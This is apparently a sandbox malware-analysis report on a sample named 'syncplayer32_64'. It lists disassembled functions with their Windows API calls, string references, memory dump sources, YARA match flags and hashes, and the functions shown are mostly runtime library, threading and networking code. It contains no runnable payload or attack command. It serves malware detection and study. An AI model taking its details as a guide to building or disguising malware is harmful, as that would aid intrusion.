GetProcessHeap.KERNEL32(00000000,?), ref: 02B44042
RtlAllocateHeap.NTDLL(00000000), ref: 02B44049
std::exception::exception.LIBCMT ref: 02B44063

Part of subcall function 02B4A6CA: __EH_prolog.LIBCMT ref: 02B4A6CF
Part of subcall function 02B4A6CA: Concurrency::cancellation_token::_FromImpl.LIBCPMT ref: 02B4A6DE
Part of subcall function 02B4A6CA: __CxxThrowException@8.LIBCMT ref: 02B4A6FD

Strings

bad allocation, xrefs: 02B44058

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prologHeap$AllocateConcurrency::cancellation_token::_Exception@8FromImplProcessThrowstd::exception::exception
String ID: bad allocation
API String ID: 3112922283-2104205924
Opcode ID: 29347007772b38b43013af1a8c1f8962fd5f387ab5fa563c7d8dfc8043850907
Instruction ID: 9e176811ac71934203c0e168804238e92e15fe9573c2c9210756824ecf07c109
Opcode Fuzzy Hash: 29347007772b38b43013af1a8c1f8962fd5f387ab5fa563c7d8dfc8043850907
Instruction Fuzzy Hash: 14F08272D44209ABCB10EFE0C81CBBFB779EB04744F4045D5E915A6280DB3852249F51

Function 00403710 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00403769
GetFileType.KERNEL32(00000800), ref: 0040380F
GetStdHandle.KERNEL32(-000000F6), ref: 00403868
GetFileType.KERNEL32(00000000), ref: 00403876
SetHandleCount.KERNEL32 ref: 004038AD

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 1ce75c326bde2c2d02afe177aeb4995e441bbd179d01f1070c3041f2ee44749b
Instruction ID: 7aeea0d4db44b673a81bd41ca563771f5c0df64e32c8b5c2d8e76d2542b5c17e
Opcode Fuzzy Hash: 1ce75c326bde2c2d02afe177aeb4995e441bbd179d01f1070c3041f2ee44749b
Instruction Fuzzy Hash: A05123B25043508BD7209F28C948B577FE8AB01726F19C67AF4A2AB2E1C338C955C65A

Function 02B51C80 Relevance: 7.6, APIs: 5, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02B51A50: CloseHandle.KERNEL32(00000000,114A922B), ref: 02B51AA1
Part of subcall function 02B51A50: WaitForSingleObject.KERNEL32(?,000000FF,114A922B,?,?,?,?,114A922B,02B51A23,114A922B), ref: 02B51AB8

ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 02B51D1E
ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 02B51D3E
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 02B51D77
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?), ref: 02B51DCB
SetEvent.KERNEL32(?), ref: 02B51DD2

Part of subcall function 02B4418C: CloseHandle.KERNEL32(00000000,?,02B51D05), ref: 02B441B0

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CloseHandle$ReleaseSemaphore$EventObjectSingleWait
String ID:
API String ID: 4166353394-0
Opcode ID: 6f525208ac7070d014964de130176ab8475fdb35bd2920d3ee69821e93b3b04f
Instruction ID: e30104d0c70d8b0bfaa90c57a886dff646b6024b386f945e359dc1f1e8e2a35c
Opcode Fuzzy Hash: 6f525208ac7070d014964de130176ab8475fdb35bd2920d3ee69821e93b3b04f
Instruction Fuzzy Hash: 7F41CE716107219BEB269F2DCC80B26B7A4EF45724F1406A8EC19EF2D5D739D8118BA1

Function 02B4E0F8 Relevance: 7.6, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B4E0FD

Part of subcall function 02B41A01: TlsGetValue.KERNEL32 ref: 02B41A0A

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B4E17C
RtlEnterCriticalSection.NTDLL(?), ref: 02B4E198
InterlockedIncrement.KERNEL32(02B75190), ref: 02B4E1BD
RtlLeaveCriticalSection.NTDLL(?), ref: 02B4E1D2

Part of subcall function 02B427F3: SetWaitableTimer.KERNEL32(00000000,?,000493E0,00000000,00000000,00000000,00000000,00000000,0000000A,00000000), ref: 02B4284E

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CriticalInterlockedSection$EnterExchangeH_prologIncrementLeaveTimerValueWaitable
String ID:
API String ID: 1578506061-0
Opcode ID: 9bb607b8348b72b120050fe9f2fc5f2d37030f98817266ac6dd656d99d7a1efb
Instruction ID: 75c3af7f15f7210c205404ba84e7ece5f6e1e67dcbb8b6336d79d647c0730ef7
Opcode Fuzzy Hash: 9bb607b8348b72b120050fe9f2fc5f2d37030f98817266ac6dd656d99d7a1efb
Instruction Fuzzy Hash: C03128B1D013059FCB10DF68C588AAABBF9FF08314F14859EE849D7641EB74A654DFA0

Function 02B603A4 Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02B603B0

Part of subcall function 02B52FAC: __FF_MSGBANNER.LIBCMT ref: 02B52FC3
Part of subcall function 02B52FAC: __NMSG_WRITE.LIBCMT ref: 02B52FCA
Part of subcall function 02B52FAC: RtlAllocateHeap.NTDLL(009E0000,00000000,00000001), ref: 02B52FEF

_free.LIBCMT ref: 02B603C3

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 6c2218b57482bf439615d097e3e3524654fd15feb3d74927df1d870c628eda8b
Instruction ID: db16ff7e0334021357a4ed84752a12b3075a89c6c82dd8a96704c1557574bd9f
Opcode Fuzzy Hash: 6c2218b57482bf439615d097e3e3524654fd15feb3d74927df1d870c628eda8b
Instruction Fuzzy Hash: 2D119432805625ABDF313F71A84877E37A9FB043A5B1889E5ED599A580DB388850CB90

Function 02B421D5 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B421DA
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B421ED
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000001), ref: 02B42224
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,?,?,00000001), ref: 02B42237
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02B42261

Part of subcall function 02B42341: InterlockedExchange.KERNEL32(?,00000001), ref: 02B42350
Part of subcall function 02B42341: InterlockedExchange.KERNEL32(?,00000001), ref: 02B42360
Part of subcall function 02B42341: PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 02B42370
Part of subcall function 02B42341: GetLastError.KERNEL32 ref: 02B4237A

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedValue$CompletionErrorH_prologLastPostQueuedStatus
String ID:
API String ID: 1856819132-0
Opcode ID: dc4641b68c343f2efcd440d52ef39766abb1478b5838691409f602eb208123ae
Instruction ID: 11f6409c495324973adc629e813e58f1a69a1121dfd83357ec6f45b23cf2c92b
Opcode Fuzzy Hash: dc4641b68c343f2efcd440d52ef39766abb1478b5838691409f602eb208123ae
Instruction Fuzzy Hash: 32116D72D04129ABCB11AFA8D8486AEFBBAFB54354F0045AAFC5593290DB754620FF90

Function 02B42298 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B4229D
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B422B0
TlsGetValue.KERNEL32 ref: 02B422E7
TlsSetValue.KERNEL32(?), ref: 02B42300
TlsSetValue.KERNEL32(?,?,?), ref: 02B4231C

Part of subcall function 02B42341: InterlockedExchange.KERNEL32(?,00000001), ref: 02B42350
Part of subcall function 02B42341: InterlockedExchange.KERNEL32(?,00000001), ref: 02B42360
Part of subcall function 02B42341: PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 02B42370
Part of subcall function 02B42341: GetLastError.KERNEL32 ref: 02B4237A

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedValue$CompletionErrorH_prologLastPostQueuedStatus
String ID:
API String ID: 1856819132-0
Opcode ID: 4773afa08e02a422efc02bd7cd21022ce9753d924e613dc8804232edaff8d75e
Instruction ID: 6d5c782f0e9b67f42d00c686bcba796b7dbb539ddcb0a1da015ee911ef3d6820
Opcode Fuzzy Hash: 4773afa08e02a422efc02bd7cd21022ce9753d924e613dc8804232edaff8d75e
Instruction Fuzzy Hash: B6115E72D10119ABCB119FA4D848AAEFFBAFF54354F0444AAF815A3290DB754A24EF90

Function 02B4BD12 Relevance: 7.5, APIs: 5, Instructions: 45synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 02B4B165: __EH_prolog.LIBCMT ref: 02B4B16A

__CxxThrowException@8.LIBCMT ref: 02B4BD2F

Part of subcall function 02B5455A: RaiseException.KERNEL32(?,?,02B4FB5F,?,?,?,?,?,?,?,02B4FB5F,?,02B70F98,?), ref: 02B545AF

WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,02B71DB4,?,00000001), ref: 02B4BD45
InterlockedExchange.KERNEL32(?,00000001), ref: 02B4BD58
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000001,00000000,?,?,?,02B71DB4,?,00000001), ref: 02B4BD68
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B4BD76

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ExchangeInterlocked$CompletionExceptionException@8H_prologObjectPostQueuedRaiseSingleStatusThrowWait
String ID:
API String ID: 2725315915-0
Opcode ID: 8d4c504ee066e319bf0a79560ecce66e4d677b50868c449fb156c2677cc22efe
Instruction ID: a48068d386d2195fe01847faa14abd6558c58e452e19e5e4d3e1042a23678340
Opcode Fuzzy Hash: 8d4c504ee066e319bf0a79560ecce66e4d677b50868c449fb156c2677cc22efe
Instruction Fuzzy Hash: 0F018676A502046FDB209EA4DCCDF8A77ADEB04759F004999F626D71D0DB64E8449B20

Function 02B42420 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 02B42432
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 02B42445
RtlEnterCriticalSection.NTDLL(?), ref: 02B42454
InterlockedExchange.KERNEL32(?,00000001), ref: 02B42469
RtlLeaveCriticalSection.NTDLL(?), ref: 02B42470

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CriticalExchangeInterlockedSection$CompareCompletionEnterLeavePostQueuedStatus
String ID:
API String ID: 747265849-0
Opcode ID: 5894841e50fda4d502cbc0deea1f071f1996874f84ede1b0515c883f1de690e4
Instruction ID: 885caa9777d9eb427e4170895027d1dfb9c14991d491eebf6d0c3a3424636b98
Opcode Fuzzy Hash: 5894841e50fda4d502cbc0deea1f071f1996874f84ede1b0515c883f1de690e4
Instruction Fuzzy Hash: 5FF03072680204BBD7009AA0ED8DFD6B72DFB44755F804451F701D74C0DF65A920EBB1

Function 02B41EC7 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(?), ref: 02B41ED2
PostQueuedCompletionStatus.KERNEL32(?,?,?,00000000,00000000,?), ref: 02B41EEA
RtlEnterCriticalSection.NTDLL(?), ref: 02B41EF9
InterlockedExchange.KERNEL32(?,00000001), ref: 02B41F0E
RtlLeaveCriticalSection.NTDLL(?), ref: 02B41F15

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CriticalInterlockedSection$CompletionEnterExchangeIncrementLeavePostQueuedStatus
String ID:
API String ID: 830998967-0
Opcode ID: 458c194573e8017fd4df3468839e3c0b9688036e4e9fef277d96d7dc1d5b3383
Instruction ID: 0b4e4bf52c20158f8c5d60a4be01ec255fcb75c7333df595eef331a26c2619b4
Opcode Fuzzy Hash: 458c194573e8017fd4df3468839e3c0b9688036e4e9fef277d96d7dc1d5b3383
Instruction Fuzzy Hash: A4F06732650205BBDB00AFA0ED88FD6BB2DFF04789F000412F20187480DF69AA25DBB0

Function 02B4874F Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 02B487B7
_memmove.LIBCMT ref: 02B48865

Strings

string too long, xrefs: 02B487EA, 02B4888C
invalid string position, xrefs: 02B487E0

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: d3b7112e2a4e245f8b805595af63b51287d51f88858d8c572a796d85d869c88c
Instruction ID: 9e5fd49603c71312e0394ba0d76b2a66afaca7ee787c9ab0aec3862476a12678
Opcode Fuzzy Hash: d3b7112e2a4e245f8b805595af63b51287d51f88858d8c572a796d85d869c88c
Instruction Fuzzy Hash: 9041B031700314ABDB24EE6DDCD4E6AB7AAEB41754B0409ADE8568B781CF70F844DBA1

Function 02B430AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02B430C3
WSAStringToAddressA.WS2_32(?,?,00000000,?,?), ref: 02B43102
_memcmp.LIBCMT ref: 02B43141

Strings

255.255.255.255, xrefs: 02B43139

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: AddressErrorLastString_memcmp
String ID: 255.255.255.255
API String ID: 1618111833-2422070025
Opcode ID: 800f1b3c2f1158dfa0a10fcac3b1fc9a48a505c988065a7edf0f493a29333672
Instruction ID: ba8dc45e0104dc16200ed2e4ac4ff46e03a4bbdbb1742fe544a095a86986788e
Opcode Fuzzy Hash: 800f1b3c2f1158dfa0a10fcac3b1fc9a48a505c988065a7edf0f493a29333672
Instruction Fuzzy Hash: E031D371A007189FDB20AF64C8D076EB7E5EF45324F2449E9EC559B280EF719981CB90

Function 02B41F56 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B41F5B
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,000000FF,?,00000000), ref: 02B41FC5
GetLastError.KERNEL32(?,00000000), ref: 02B41FD2

Part of subcall function 02B41712: __EH_prolog.LIBCMT ref: 02B41717

Strings

iocp, xrefs: 02B41FE0

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog$CompletionCreateErrorLastPort
String ID: iocp
API String ID: 998023749-976528080
Opcode ID: 38f799ef9a37c02733518a5c78e7ab16365ed4a291c9fd1f3debfafc89be9ce4
Instruction ID: 2d667ce7c499515518b2ce853920a24419b7e5ab19177816491ad561a81084cd
Opcode Fuzzy Hash: 38f799ef9a37c02733518a5c78e7ab16365ed4a291c9fd1f3debfafc89be9ce4
Instruction Fuzzy Hash: C821E4B1901B449FC720DF6AC54455BFBF8FF94720B108A5FE8A683A90D7B4A644CF91

Function 00405A29 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00200020,?,00000000,?,004051E5,00200020,00000000,?,00000000), ref: 00405A4C
LCMapStringW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,?,004051E5,00200020,00000000,?,00000000), ref: 00405A62
LCMapStringW.KERNEL32(?,?,?,00000000,Q@ ,?,?,004051E5,00200020,00000000,?,00000000), ref: 00405A95
LCMapStringW.KERNEL32(00000000,?,?,?,?,00000000,?,004051E5,00200020,00000000,?,00000000), ref: 00405AFD
WideCharToMultiByte.KERNEL32(?,00000220,?,00000000,Q@ ,?,00000000,00000000,?,00000000,?,004051E5,00200020,00000000,?,00000000), ref: 00405B22

Strings

Q@ , xrefs: 00405A88

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID: Q@
API String ID: 352835431-2369137212
Opcode ID: 97e826765c333d16f7cbdfb3d62a925f0377e56339be4bed5ee7552fc8779137
Instruction ID: 876b9e3a682e269875083bcddfa4c935106d124651a593956607a31a4446b0ba
Opcode Fuzzy Hash: 97e826765c333d16f7cbdfb3d62a925f0377e56339be4bed5ee7552fc8779137
Instruction Fuzzy Hash: 50113A32A00609AFCF228F94DD40ADFBBB5FB48350F148166F911B21A0D33A9D60DF54

Function 02B53B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02B53B64

Part of subcall function 02B52FAC: __FF_MSGBANNER.LIBCMT ref: 02B52FC3
Part of subcall function 02B52FAC: __NMSG_WRITE.LIBCMT ref: 02B52FCA
Part of subcall function 02B52FAC: RtlAllocateHeap.NTDLL(009E0000,00000000,00000001), ref: 02B52FEF

std::exception::exception.LIBCMT ref: 02B53B82
__CxxThrowException@8.LIBCMT ref: 02B53B97

Part of subcall function 02B5455A: RaiseException.KERNEL32(?,?,02B4FB5F,?,?,?,?,?,?,?,02B4FB5F,?,02B70F98,?), ref: 02B545AF

Strings

bad allocation, xrefs: 02B53B77

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 90bd173153538652868e20eb0541c9a30296d600f5bf14d906808ca0bd62f9d6
Instruction ID: 9d1f0742393b61a6e1b733bc13a72c99062e028eed946604cf1d41291c4337dc
Opcode Fuzzy Hash: 90bd173153538652868e20eb0541c9a30296d600f5bf14d906808ca0bd62f9d6
Instruction Fuzzy Hash: 84E0653190062EA6DF00FEA4DC05FEF7BB9EB00354F4045D5AD24AE291DB719A54DA91

Function 02B437B1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B437B6
__localtime64.LIBCMT ref: 02B437C1

Part of subcall function 02B52600: __gmtime64_s.LIBCMT ref: 02B52613

std::exception::exception.LIBCMT ref: 02B437D9

Part of subcall function 02B524D3: std::exception::_Copy_str.LIBCMT ref: 02B524EC

Part of subcall function 02B4A528: __EH_prolog.LIBCMT ref: 02B4A52D
Part of subcall function 02B4A528: Concurrency::cancellation_token::_FromImpl.LIBCPMT ref: 02B4A53C
Part of subcall function 02B4A528: __CxxThrowException@8.LIBCMT ref: 02B4A55B

Strings

could not convert calendar time to UTC time, xrefs: 02B437CE

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog$Concurrency::cancellation_token::_Copy_strException@8FromImplThrow__gmtime64_s__localtime64std::exception::_std::exception::exception
String ID: could not convert calendar time to UTC time
API String ID: 1963798777-2088861013
Opcode ID: 12455188ad056df43078676be21fef133fb5c84deae86cdc6bd46b44bf6404d0
Instruction ID: 17d5f2d917a73e7f2946c56e7d4b5231a72e88f3606248214a9da6e62d207a7e
Opcode Fuzzy Hash: 12455188ad056df43078676be21fef133fb5c84deae86cdc6bd46b44bf6404d0
Instruction Fuzzy Hash: B9E065B2D0120A9ACB14EFA4D958BBFBBB9FB04300F4085D9DC15A6240EB3886198F94

Function 00403E7A Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 265memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00008000,00004000,74DEDFF0,?,00000000), ref: 004040D2
VirtualFree.KERNEL32(?,00000000,00008000), ref: 0040412D
HeapFree.KERNEL32(00000000,?), ref: 0040413F

Strings

$.@, xrefs: 00403E7A

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Free$Virtual$Heap
String ID: $.@
API String ID: 2016334554-3185475474
Opcode ID: 9c389c61e5a6cd43db9238f188d86346d40478f5c1fa1013f45f36ce2e9b1707
Instruction ID: 52cba6c4d4aa7b6c0db55710ed4d4ef1c2bc3465caadef879631ce54cd7cec75
Opcode Fuzzy Hash: 9c389c61e5a6cd43db9238f188d86346d40478f5c1fa1013f45f36ce2e9b1707
Instruction Fuzzy Hash: 21B16C35A002059FDB28CF44D990AA9BBB1FB88314F24C1AED9596F396C735EE41CB84

Function 02B5C3E9 Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 02B5C47A
_memmove.LIBCMT ref: 02B5C4EE
___AdjustPointer.LIBCMT ref: 02B5C53F
_memmove.LIBCMT ref: 02B5C548

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: AdjustPointer_memmove
String ID:
API String ID: 1721217611-0
Opcode ID: bcf0a0b9e5fef891c539bfc29cdc8d1e532f778599cb5e337120e33fc1c6c886
Instruction ID: decaba946448ad4513acb63f4841bd7b51bf22b6458dda2ef25708b140a8bf56
Opcode Fuzzy Hash: bcf0a0b9e5fef891c539bfc29cdc8d1e532f778599cb5e337120e33fc1c6c886
Instruction Fuzzy Hash: 3D41B3756043125FEB259EB4E842B7A7BAAEF01354F24009FED459E2D2DB71E580CA14

Function 02B51320 Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,02B44149), ref: 02B513BF

Part of subcall function 02B43FDC: __EH_prolog.LIBCMT ref: 02B43FE1
Part of subcall function 02B43FDC: CreateEventA.KERNEL32(00000000,?,?,00000000), ref: 02B43FF3

CloseHandle.KERNEL32(00000000), ref: 02B513B4
CloseHandle.KERNEL32(00000004,?,?,?,?,?,?,?,?,?,?,?,02B44149), ref: 02B51400
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,02B44149), ref: 02B514D1

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CloseHandle$Event$CreateH_prolog
String ID:
API String ID: 2825413587-0
Opcode ID: 95dc0ceabe6a4a196259909785d4a422fa6ada380eb5a1e7110f3d9496bdba67
Instruction ID: 183ce86b379402d26ec812ef5222452247d87946e7be5c30570a1b2971f0add8
Opcode Fuzzy Hash: 95dc0ceabe6a4a196259909785d4a422fa6ada380eb5a1e7110f3d9496bdba67
Instruction Fuzzy Hash: 1751AEB16003159BDB11DF28C894B5AB7E4EF4836CF1946A8EC6DAB390EB35D805CF91

Function 02B537AD Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 02B53843
__flush.LIBCMT ref: 02B53863
__write.LIBCMT ref: 02B53896
__flsbuf.LIBCMT ref: 02B538C4

Part of subcall function 02B55E5B: __getptd_noexit.LIBCMT ref: 02B55E5B

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a9937a16b76c58c94b28bf15a68adb4139bcec099db716b101ad8f61a228703e
Instruction ID: 0c82ad8e05c394ed6ba9b88bb1cd3e9f12b9b8f7600c4ef1ed2265fc0537a1e9
Opcode Fuzzy Hash: a9937a16b76c58c94b28bf15a68adb4139bcec099db716b101ad8f61a228703e
Instruction Fuzzy Hash: 6841A371B00726ABDB1C8EA9C890B6EB7E6EF443A4B1485EDEC15CF340D775E9418B40

Function 02B5FF15 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 02B5FF4B
__isleadbyte_l.LIBCMT ref: 02B5FF79
MultiByteToWideChar.KERNEL32(?,00000009,00000108,?,00000000,00000000), ref: 02B5FFA7
MultiByteToWideChar.KERNEL32(?,00000009,00000108,00000001,00000000,00000000), ref: 02B5FFDD

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: ba74fc94d7eed511fae2ae2cdd15542bcbda34a14ea4bc27eebc795b669a4f57
Instruction ID: f33529062fa9a1487d3b9d76d958558f5c48dc176de0880f2f6857d2cf5fa6f0
Opcode Fuzzy Hash: ba74fc94d7eed511fae2ae2cdd15542bcbda34a14ea4bc27eebc795b669a4f57
Instruction Fuzzy Hash: BD31EF31602366AFDB219E64C844BBAFBA6FF43354F1544A9EC648B9D0E730D851CB90

Function 004047F2 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(FFFFFFFF,00001000,00004000,74DEDFF0,?,00000000,?,$.@,0040494E,00000010,00402FE3,?,?), ref: 00404830

Strings

r@, xrefs: 004047F8
r@, xrefs: 00404896
$.@, xrefs: 004047F2

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: FreeVirtual
String ID: $.@$r@$r@
API String ID: 1263568516-2024880544
